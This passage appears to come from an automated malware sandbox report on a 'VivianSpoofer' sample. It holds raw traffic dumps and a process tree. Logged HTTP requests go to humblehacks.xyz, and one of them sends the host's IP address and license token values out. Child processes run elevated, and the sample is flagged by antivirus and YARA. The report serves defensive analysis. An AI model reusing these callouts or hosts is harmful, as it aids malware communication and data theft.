2024-12-29 08:04:27 UTC	8000	IN	Data Raw: 1b b0 79 b3 b1 66 27 74 4e 2e 32 6c 5f 4f 14 3b d6 85 e5 a8 29 1e 02 7b 9e 00 00 04 2a f9 7f 38 9d 70 e1 00 c4 c3 d1 b7 44 8f c6 0f db 2d 04 45 a0 e5 09 f7 8c 5e 28 37 38 59 74 dd e8 1e 02 7b 9f 00 00 04 2a 9f df 21 c9 38 a3 69 77 de e1 5f c2 b2 88 47 b2 2d 79 90 c9 58 e9 a8 87 40 06 15 34 a4 dd c2 d9 1e 02 7b a0 00 00 04 2a f2 7b 96 90 72 52 4b fd c0 df 7e 1d 7f 8a 02 3e 4c ce 7a 4f f1 99 27 5a db f6 fe 4f cf e9 fe 03 1e 02 7b a1 00 00 04 2a d8 9a c0 78 84 b6 50 5f 4f 13 3b db 60 93 e9 88 73 4a 2d bc 17 e3 1b 0d 19 3f 1a 13 40 60 3a 6f 3a 86 c7 0b d7 97 1e a4 75 c4 bf 86 bc 6a a4 97 8b 36 d1 97 31 8d 2d a6 e1 2b 90 07 60 0a 1d 23 01 85 d2 d1 d3 bd 5d d4 19 3c 31 a5 fa d8 da 74 7a da 8d 69 a9 60 04 2f 1a 00 89 b3 97 ae 50 29 13 00 00 00 01 04 00 00 1e 02 Data Ascii: yf'tN.2l_O;){8pD-E^(78Yt{!8iw_G-yX@4{{rRK~>LzO'ZO{xP_O;`sJ-?@`:o:uj61-+`#]<1tzi`/P)
2024-12-29 08:04:27 UTC	8000	IN	Data Raw: be a5 77 9f bd 54 a5 a3 4a 1f 31 77 a3 db ed bb b1 5b ab 03 8e e6 ea e6 44 e7 b6 52 d8 e7 c9 22 87 b9 f6 f3 4f f4 c8 33 b1 a7 66 7a b6 47 b9 1e 30 ec d1 02 42 bd 85 ae 22 a9 5a a5 1e 59 a7 f2 dd 62 f6 05 e8 be ac bd 68 7d ed c6 32 b8 ba 25 00 c7 5c 11 01 b3 06 05 95 ee b6 13 51 42 5c 7b 4a 08 3e 7c 90 9a 9b 6a f8 0b 8e 01 1f 15 36 f9 ab 52 14 da d4 af b4 12 24 1f 90 45 7a 8c 31 e4 55 13 97 01 4f 70 db 62 e8 b7 13 d4 85 46 76 c1 b9 f7 c1 05 c2 9a d9 fe 57 a2 b1 e2 a1 1e 6e 56 87 eb c9 3c 2e 28 b5 cc c0 eb 42 e6 6d 32 c2 a6 b0 1d 2a 3a d4 5a bb f0 b6 e0 e1 93 cc e0 5b f8 66 f8 9c d4 34 ab 71 d0 09 0e e5 e0 de c3 62 d0 1a 2b 18 20 11 d8 a2 11 ca 41 00 00 00 01 04 00 00 e7 00 05 ba 3f f3 7c a3 d8 72 6a df 57 98 4a 88 c2 69 e1 e0 9d 66 7e 8b 53 5f 81 fc d8 89 Data Ascii: wTJ1w[DR"O3fzG0B"ZYbh}2%\QB\{J>\|j6R$Ez1UOpbFvWnV<.(Bm2*:Z[f4qb+ A?\|rjWJif~S_
2024-12-29 08:04:27 UTC	8000	IN	Data Raw: 09 01 00 04 2a 49 f5 44 51 6e bc 97 a6 c7 ed 8e 5f ff 5a 48 00 1e 02 7b 0a 01 00 04 2a 22 02 03 7d 0a 01 00 04 2a 00 00 00 72 45 46 88 e3 a0 6d ad e6 82 45 e4 44 a1 84 9c ff 02 e2 3a 39 56 20 0e 52 8a 49 86 51 9a 38 a2 85 a6 5a a8 6c 47 b5 19 d3 23 29 e3 3f bf f6 d8 8c 95 7f 5f d4 67 4e 6a 92 d2 57 a8 07 26 81 fb dd 75 62 2c 0b ea 4a de f8 5c 84 c0 e3 23 d8 07 82 2b 54 1c e9 47 4d 91 ae c7 a0 5a 4b 4c 3d 3a c3 db e7 7b 89 31 35 e2 9d 56 dd e2 f8 75 31 10 2a eb ea d7 42 9e 25 6d ee 90 ab 05 e3 b4 75 47 7f 00 70 fd ad c3 7d 0f 0a 39 bc b1 46 5c 0a db cc fe c8 f9 a5 15 df e5 99 56 00 12 98 05 31 0a 59 0b 85 1a 41 49 2a 4b 86 2c a9 95 94 81 6a 50 b0 8b 77 eb db 53 81 e0 f9 40 28 e7 32 e7 77 6b 99 24 ae 3a 0b 6a 45 80 5a 57 2d f6 ab 8c 59 57 1d bb 7d 14 ac 01 Data Ascii: IDQn_ZH{"}rEFmED:9V RIQ8ZlG#)?_gNjW&ub,J\#+TGMZKL=:{15Vu1B%muGp}9F\V1YAI*K,jPwS@(2wk$:jEZW-YW}
2024-12-29 08:04:27 UTC	8000	IN	Data Raw: 96 40 71 c1 d7 7a 11 3d 92 f6 d6 81 4c 73 93 e5 8b b7 0b f3 43 2f 05 25 91 d6 9e ef ab 57 e3 00 18 76 9f c6 1c ac 72 30 77 11 23 b7 4f 80 37 9f 6a f5 c3 7a a0 39 7e ef 90 c2 1a b9 93 d4 d5 f2 ee ed 4b 92 4c 60 8e 33 6b 40 78 00 00 01 04 00 00 1e 02 7b 4d 01 00 04 2a 17 15 7f 40 6b 52 57 4c cd dc e9 46 0d d3 25 72 30 b2 e9 3f bb 82 6d 1c 2e 4d de 8c ce d6 49 7d a7 87 bb d6 d2 ab a7 4f f4 dd 87 85 07 c0 c6 4e 5d f1 de 49 e1 3a be ba a1 09 6e 95 89 20 f5 d9 71 8d 7b 1f 5b dd ab 73 f5 8d 5b 62 66 c1 6f 54 46 38 fa 1d ee 80 a7 ce f3 66 58 d1 ed b1 0c 35 7d 10 06 46 8e 50 2c 61 da d2 ad 06 b0 3d e6 2f f5 70 87 e0 6a bb f1 00 2c 4e e3 67 81 f1 56 38 d1 f6 a5 71 f3 6c f1 c0 ab 96 00 00 c4 99 70 9c f4 85 72 7f cb bd db 52 64 f7 55 a8 36 02 7b 4c 01 00 04 03 6f b6 Data Ascii: @qz=LsC/%Wvr0w#O7jz9~KL`3k@x{M*@kRWLF%r0?m.MI}ON]I:n q{[s[bfoTF8fX5}FP,a=/pj,NgV8qlprRdU6{Lo
2024-12-29 08:04:27 UTC	8000	IN	Data Raw: 62 c1 f6 0c 96 c9 2c be c9 92 ea 79 f3 44 86 d2 a4 3c b6 34 eb 62 98 d5 76 b7 f5 e8 fa 2e c6 15 d6 bd f7 26 f3 b3 6c 03 ee 4c 42 e0 79 83 57 b5 fe 27 0c ee 86 31 49 64 da 55 c2 8d e7 d7 79 ef 67 a0 84 db be 91 11 57 22 17 a7 5c ff 00 af 42 9a 8d 00 00 00 01 04 00 00 32 78 f4 c8 e4 78 f1 17 62 fa b9 12 b8 68 5f 92 26 93 c1 0a 24 a4 af 1b a3 55 4f 62 96 61 bf 95 b1 38 fd ce 70 f8 04 26 5c 99 38 86 8a 67 04 ba 64 b6 c2 c7 ab d1 db 7f bd 33 2f 52 14 fa b7 67 10 98 68 ec f6 cc 5b aa 38 d1 2c dc f7 d5 a0 41 c6 ac 8a 70 b1 c6 ef 6c 7e 5e 68 78 32 f5 c8 2c d7 ff ff c9 7d dc 3e ca 7f 09 00 00 01 04 00 00 5c bb 07 98 79 4e d4 dd e1 ac 3b 6b 32 09 6c 3f c2 7b f7 3a 3b 0c 8f d5 88 0e 0d 10 f5 ae b8 ab 91 cc c3 99 d7 0a 17 b2 8e 23 53 a8 ee 7f 11 3c 04 04 6c b1 58 2e Data Ascii: b,yD<4bv.&lLByW'1IdUygW"\B2xxbh_&$UOba8p&\8gd3/Rgh[8,Apl~^hx2,}>\yN;k2l?{:;#S<lX.
2024-12-29 08:04:27 UTC	8000	IN	Data Raw: 7c 82 10 fb 2a b8 eb 31 73 60 ad fa 27 57 ce c0 99 f5 5a 30 52 ed 44 3d 07 74 fc 68 c9 a6 43 3f 7c 25 3f 24 8a 03 ca 50 d9 01 04 00 00 e2 10 18 fa 59 59 6e a3 9a 23 aa 5f 52 74 8b 84 d1 6e 78 65 6b 24 0c ca 1e ac d2 9d 75 76 4d e6 ab db 3c fa 14 f9 1b ee b9 bf ed 52 42 44 39 1c 1a 5d 53 e3 cd 6e dc 4e b5 80 8c cb d5 94 2f 84 05 37 ee 8f 50 57 d0 64 9a 55 81 95 85 5b 51 b9 96 f0 7f a9 94 ca b8 f0 31 e3 db 7c ed cf ff 9a 36 4c b7 21 d4 1b 95 ec 84 0e ec 8e e3 63 da 42 8e 50 86 21 88 df a7 98 dc fc 46 18 83 cc c4 0f 87 41 1e 18 69 ec 70 6e c1 12 b8 a7 24 01 dd 9f 4a a4 f0 b2 70 56 b1 2e fc f4 55 07 60 36 86 cd 40 3f ac dc d7 72 6b d3 97 88 6c 47 0f df 61 b8 12 15 43 c3 16 d6 de 9a da f2 90 b2 4c b3 4e bb a9 6d e7 d5 e6 56 8d 01 4f 98 91 d5 6e a5 6e 75 2e cb Data Ascii: \|*1s`'WZ0RD=thC?\|%?$PYYn#_Rtnxek$uvM<RBD9]SnN/7PWdU[Q1\|6L!cBP!FAipn$JpV.U`6@?rklGaCLNmVOnnu.
2024-12-29 08:04:27 UTC	8000	IN	Data Raw: 2e bf 0a 44 a0 8c d8 73 27 bf 03 44 5e 8d d1 9d f4 46 22 ae 26 bf 03 46 24 8c d1 72 2e 9d 0a 44 9e af d8 51 27 9d 03 44 5e af d1 b4 f5 44 36 87 27 d1 9e ca 0b e5 ac 46 60 27 81 d0 7e 39 5a 46 a8 69 53 46 06 5b 81 a4 7e 68 5a 46 60 5a 88 41 ac 46 08 83 81 85 81 40 a5 46 60 0e 94 ab 39 65 5f 54 ee 79 99 a7 a9 c8 8a e1 d3 5b be c4 99 36 91 f6 4b cc 6e 3a cf fe bc 03 43 cc 67 38 e5 d7 6e 38 15 e5 bc 1a 43 80 67 38 89 b2 b5 4d 4a 81 6e 38 e3 4c 97 66 3a 4d 5b 7e 6e 3a b1 b2 83 67 38 df b1 b5 a0 90 3a 99 6c 5d 99 38 df 6f 4b 74 6f 38 8d b6 42 c4 66 38 49 f7 b4 a7 90 38 1b 60 9e da c1 68 b1 7f 94 91 68 4c 46 5d 63 91 72 9f 4e 49 51 81 df a0 88 7c af 8c af 45 a6 82 e9 77 74 8e 53 8c f5 9f 3b 87 1e f1 4c 94 98 33 61 c4 9e 2d ba 96 32 d0 f0 b2 94 7a c3 60 0b 44 96 Data Ascii: .Ds'D^F"&F$r.DQ'D^D6'F`'~9ZFiSF[~hZF`ZAF@F`9e_Ty[6Kn:Cg8n8Cg8MJn8Lf:M[~n:g8:l]8oKto8Bf8I8`hhLF]crNIQ\|EwtS;L3a-2z`D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49808	92.205.3.41	443	1680	C:\Users\user\Desktop\VivianSpoofer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 08:05:18 UTC	87	OUT	GET /patch/Vivian/patch.txt HTTP/1.1 Host: humblehacks.xyz Connection: Keep-Alive
2024-12-29 08:05:18 UTC	286	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 08:05:18 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 23 Dec 2024 13:16:08 GMT ETag: "7781b37-7-629efccb9555e" Accept-Ranges: bytes Content-Length: 7 Vary: Accept-Encoding Content-Type: text/plain
2024-12-29 08:05:18 UTC	7	IN	Data Raw: 31 2e 34 2e 35 2e 30 Data Ascii: 1.4.5.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49814	92.205.3.41	443	1680	C:\Users\user\Desktop\VivianSpoofer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 08:05:20 UTC	76	OUT	GET /Aut.php?auth=1&loginname=Vivianware HTTP/1.1 Host: humblehacks.xyz
2024-12-29 08:05:20 UTC	234	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 08:05:20 GMT Server: Apache X-Powered-By: PHP/8.3.14 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-29 08:05:20 UTC	3247	IN	Data Raw: 63 34 30 0d 0a 1c 15 0c 1d 72 6e 61 36 39 3c 20 36 35 74 12 0c 13 00 04 78 68 74 00 3b 26 3d 37 3d 72 1d 11 78 68 74 70 69 61 7a 70 60 60 7a 70 6c 60 7a 70 6e 6b 74 11 0a 1d 10 14 1b 06 07 61 62 72 13 0d 17 63 64 61 62 72 66 71 6a 67 65 73 69 6a 74 15 17 19 11 0f 0b 72 6e 61 1f 1e 1b 70 68 06 74 7b 78 63 65 79 69 65 10 6c 60 17 65 03 1c 16 79 00 6a 62 13 0d 17 63 64 61 0b 07 07 1e 1c 07 06 61 62 72 1a 6e 19 72 1c 13 1d 01 11 15 0b 72 6e 61 16 7d 15 4c 52 1c 15 0c 1d 72 6e 61 20 2a 2c 39 78 01 00 00 0c 17 74 7b 78 13 37 35 31 24 31 61 11 02 74 7b 78 63 64 78 76 63 6d 77 76 63 60 75 76 63 66 70 78 02 06 0e 1c 07 17 15 0b 72 6e 61 1f 1e 1b 70 68 72 6e 61 6a 62 66 75 69 60 66 76 78 06 1b 0a 1d 1c 07 61 62 72 13 0d 17 63 64 15 78 68 74 07 1e 16 64 07 6f 7f 17 Data Ascii: c40rna69< 65txht;&=7=rxhtpiazp``zpl`zpnktabrcdabrfqjgesijtrnapht{xceyiel`eyjbcdaabrnrrna}LRrna *,9xt{x751$1at{xcdxvcmwvc`uvcfpxrnaphrnajbfui`fvxabrcdxhtdo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49820	92.205.3.41	443	1680	C:\Users\user\Desktop\VivianSpoofer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 08:05:22 UTC	56	OUT	GET /Aut.php?auth=10 HTTP/1.1 Host: humblehacks.xyz
2024-12-29 08:05:22 UTC	225	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 08:05:22 GMT Server: Apache X-Powered-By: PHP/8.3.14 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 8 Content-Type: text/html; charset=UTF-8
2024-12-29 08:05:22 UTC	8	IN	Data Raw: 60 64 73 6c 63 66 73 61 Data Ascii: `dslcfsa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49841	92.205.3.41	443	3200	C:\Windows\System32\ESCore.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 08:05:32 UTC	81	OUT	GET /Aut.php?auth=11 HTTP/1.1 User-Agent: Mozilla/5.0 Host: humblehacks.xyz
2024-12-29 08:05:32 UTC	226	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 08:05:32 GMT Server: Apache X-Powered-By: PHP/8.3.14 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 12 Content-Type: text/html; charset=UTF-8
2024-12-29 08:05:32 UTC	12	IN	Data Raw: 6a 7a 75 6e 7c 65 73 6b 7c 65 79 61 Data Ascii: jzun\|esk\|eya

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49848	92.205.3.41	443	3200	C:\Windows\System32\ESCore.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 08:05:34 UTC	81	OUT	GET /Aut.php?auth=10 HTTP/1.1 User-Agent: Mozilla/5.0 Host: humblehacks.xyz
2024-12-29 08:05:34 UTC	225	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 08:05:34 GMT Server: Apache X-Powered-By: PHP/8.3.14 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 8 Content-Type: text/html; charset=UTF-8
2024-12-29 08:05:34 UTC	8	IN	Data Raw: 60 64 73 6c 63 66 73 61 Data Ascii: `dslcfsa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49854	92.205.3.41	443	3200	C:\Windows\System32\ESCore.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 08:05:36 UTC	101	OUT	GET /Aut.php?auth=1&loginname=Vivianware HTTP/1.1 User-Agent: Mozilla/5.0 Host: humblehacks.xyz
2024-12-29 08:05:36 UTC	234	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 08:05:36 GMT Server: Apache X-Powered-By: PHP/8.3.14 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-29 08:05:36 UTC	3247	IN	Data Raw: 63 34 30 0d 0a 1c 15 0c 1d 72 6e 61 36 39 3c 20 36 35 74 12 0c 13 00 04 78 68 74 00 3b 26 3d 37 3d 72 1d 11 78 68 74 70 69 61 7a 70 60 60 7a 70 6c 60 7a 70 6e 6b 74 11 0a 1d 10 14 1b 06 07 61 62 72 13 0d 17 63 64 61 62 72 66 71 6a 67 65 73 69 6a 74 15 17 19 11 0f 0b 72 6e 61 1f 1e 1b 70 68 06 74 7b 78 63 65 79 69 65 10 6c 60 17 65 03 1c 16 79 00 6a 62 13 0d 17 63 64 61 0b 07 07 1e 1c 07 06 61 62 72 1a 6e 19 72 1c 13 1d 01 11 15 0b 72 6e 61 16 7d 15 4c 52 1c 15 0c 1d 72 6e 61 20 2a 2c 39 78 01 00 00 0c 17 74 7b 78 13 37 35 31 24 31 61 11 02 74 7b 78 63 64 78 76 63 6d 77 76 63 60 75 76 63 66 70 78 02 06 0e 1c 07 17 15 0b 72 6e 61 1f 1e 1b 70 68 72 6e 61 6a 62 66 75 69 60 66 76 78 06 1b 0a 1d 1c 07 61 62 72 13 0d 17 63 64 15 78 68 74 07 1e 16 64 07 6f 7f 17 Data Ascii: c40rna69< 65txht;&=7=rxhtpiazp``zpl`zpnktabrcdabrfqjgesijtrnapht{xceyiel`eyjbcdaabrnrrna}LRrna *,9xt{x751$1at{xcdxvcmwvc`uvcfpxrnaphrnajbfui`fvxabrcdxhtdo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49859	92.205.3.41	443	3200	C:\Windows\System32\ESCore.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 08:05:38 UTC	578	OUT	GET /Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME%20:%20Username%20STATE%20:%20Active%20IP%20:%2083.31.140.108%20PRODUCTS%20:%20ken%20:%2023%20GLO10%20:%2020251300%20TOKENS%20:%20kenT%20:%20Token%20GLO10T%20:%20962997-45B26E-A20GLO10SUS_DUR%20:%20N/AHRESETS%20:N/A&oldhd=NAME%20:%20Username%20STATE%20:%20Active%20IP%20:%2083.31.140.108%20PRODUCTS%20:%20GLO10%20:%2020251300%20TOKENS%20:%20GLO10T%20:%20962997-45B26E-A20GLO10%20SUS_DUR%20:%20N/A%20HRESETS%20:%20N/A&nd=Token%20:%20Token%20Period%20: HTTP/1.1 User-Agent: Mozilla/5.0 Host: humblehacks.xyz
2024-12-29 08:05:38 UTC	225	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 08:05:38 GMT Server: Apache X-Powered-By: PHP/8.3.14 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 8 Content-Type: text/html; charset=UTF-8
2024-12-29 08:05:38 UTC	8	IN	Data Raw: 1f 3d 32 35 33 20 22 30 Data Ascii: =253 "0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49865	92.205.3.41	443	1680	C:\Users\user\Desktop\VivianSpoofer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 08:05:40 UTC	76	OUT	GET /Aut.php?auth=1&loginname=Vivianware HTTP/1.1 Host: humblehacks.xyz
2024-12-29 08:05:41 UTC	234	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 08:05:41 GMT Server: Apache X-Powered-By: PHP/8.3.14 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-29 08:05:41 UTC	3247	IN	Data Raw: 63 34 30 0d 0a 1c 15 0c 1d 72 6e 61 36 39 3c 20 36 35 74 12 0c 13 00 04 78 68 74 00 3b 26 3d 37 3d 72 1d 11 78 68 74 70 69 61 7a 70 60 60 7a 70 6c 60 7a 70 6e 6b 74 11 0a 1d 10 14 1b 06 07 61 62 72 13 0d 17 63 64 61 62 72 66 71 6a 67 65 73 69 6a 74 15 17 19 11 0f 0b 72 6e 61 1f 1e 1b 70 68 06 74 7b 78 63 65 79 69 65 10 6c 60 17 65 03 1c 16 79 00 6a 62 13 0d 17 63 64 61 0b 07 07 1e 1c 07 06 61 62 72 1a 6e 19 72 1c 13 1d 01 11 15 0b 72 6e 61 16 7d 15 4c 52 1c 15 0c 1d 72 6e 61 20 2a 2c 39 78 01 00 00 0c 17 74 7b 78 13 37 35 31 24 31 61 11 02 74 7b 78 63 64 78 76 63 6d 77 76 63 60 75 76 63 66 70 78 02 06 0e 1c 07 17 15 0b 72 6e 61 1f 1e 1b 70 68 72 6e 61 6a 62 66 75 69 60 66 76 78 06 1b 0a 1d 1c 07 61 62 72 13 0d 17 63 64 15 78 68 74 07 1e 16 64 07 6f 7f 17 Data Ascii: c40rna69< 65txht;&=7=rxhtpiazp``zpl`zpnktabrcdabrfqjgesijtrnapht{xceyiel`eyjbcdaabrnrrna}LRrna *,9xt{x751$1at{xcdxvcmwvc`uvcfpxrnaphrnajbfui`fvxabrcdxhtdo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49869	92.205.3.41	443	1680	C:\Users\user\Desktop\VivianSpoofer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 08:05:42 UTC	56	OUT	GET /Aut.php?auth=10 HTTP/1.1 Host: humblehacks.xyz
2024-12-29 08:05:43 UTC	225	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 08:05:43 GMT Server: Apache X-Powered-By: PHP/8.3.14 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 8 Content-Type: text/html; charset=UTF-8
2024-12-29 08:05:43 UTC	8	IN	Data Raw: 60 64 73 6c 63 66 73 61 Data Ascii: `dslcfsa

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: aYu936prD4.exePID: 7096, Parent PID: 1028

General

Target ID:	0
Start time:	03:04:12
Start date:	29/12/2024
Path:	C:\Users\user\Desktop\aYu936prD4.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\aYu936prD4.exe"
Imagebase:	0x2c2d60e0000
File size:	22'372'864 bytes
MD5 hash:	610D0DB5D146F16CAAD2482B11C22D30
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 00000000.00000000.2026487790.000002C2D637A000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: ESCore.exePID: 6164, Parent PID: 7096

General

Target ID:	3
Start time:	03:04:16
Start date:	29/12/2024
Path:	C:\Windows\System32\ESCore.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\ESCore.exe chkdrv
Imagebase:	0x140000000
File size:	6'667'264 bytes
MD5 hash:	6A8261CF7AFD1FCFE67BF3FF0A77A328
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4160, Parent PID: 6164

General

Target ID:	4
Start time:	03:04:16
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 5296, Parent PID: 7096

General

Target ID:	9
Start time:	03:05:04
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c Updater.bat
Imagebase:	0x7ff623640000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4592, Parent PID: 5296

General

Target ID:	10
Start time:	03:05:04
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: timeout.exePID: 3496, Parent PID: 5296

General

Target ID:	11
Start time:	03:05:04
Start date:	29/12/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 5
Imagebase:	0x7ff692830000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: VivianSpoofer.exePID: 1680, Parent PID: 5296

General

Target ID:	12
Start time:	03:05:09
Start date:	29/12/2024
Path:	C:\Users\user\Desktop\VivianSpoofer.exe
Wow64 process (32bit):	false
Commandline:	VivianSpoofer.exe
Imagebase:	0x1f22bde0000
File size:	21'683'472 bytes
MD5 hash:	48DE217B20FEEF7FBD491904885FADE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000C.00000002.3928586010.000001F249871000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000C.00000000.2596961641.000001F22C07A000.00000002.00000001.01000000.0000000F.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: ESCore.exePID: 5952, Parent PID: 1680

General

Target ID:	14
Start time:	03:05:14
Start date:	29/12/2024
Path:	C:\Windows\System32\ESCore.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\ESCore.exe chkdrv
Imagebase:	0x140000000
File size:	6'318'080 bytes
MD5 hash:	689211E5BDAC447C2F016BFBAD0B8CFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6640, Parent PID: 5952

General

Target ID:	15
Start time:	03:05:14
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: ESCore.exePID: 3200, Parent PID: 1680

General

Target ID:	16
Start time:	03:05:21
Start date:	29/12/2024
Path:	C:\Windows\System32\ESCore.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\ESCore.exe reg Username Token
Imagebase:	0x140000000
File size:	6'318'080 bytes
MD5 hash:	689211E5BDAC447C2F016BFBAD0B8CFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 3752, Parent PID: 3200

General

Target ID:	17
Start time:	03:05:22
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: ESCore.exePID: 516, Parent PID: 1680

General

Target ID:	18
Start time:	03:05:45
Start date:	29/12/2024
Path:	C:\Windows\System32\ESCore.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\ESCore.exe clr
Imagebase:	0x140000000
File size:	6'318'080 bytes
MD5 hash:	689211E5BDAC447C2F016BFBAD0B8CFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4092, Parent PID: 516

General

Target ID:	19
Start time:	03:05:45
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: VivianSpoofer.exePID: 1680, Parent PID: 5296COMMON

Executed Functions

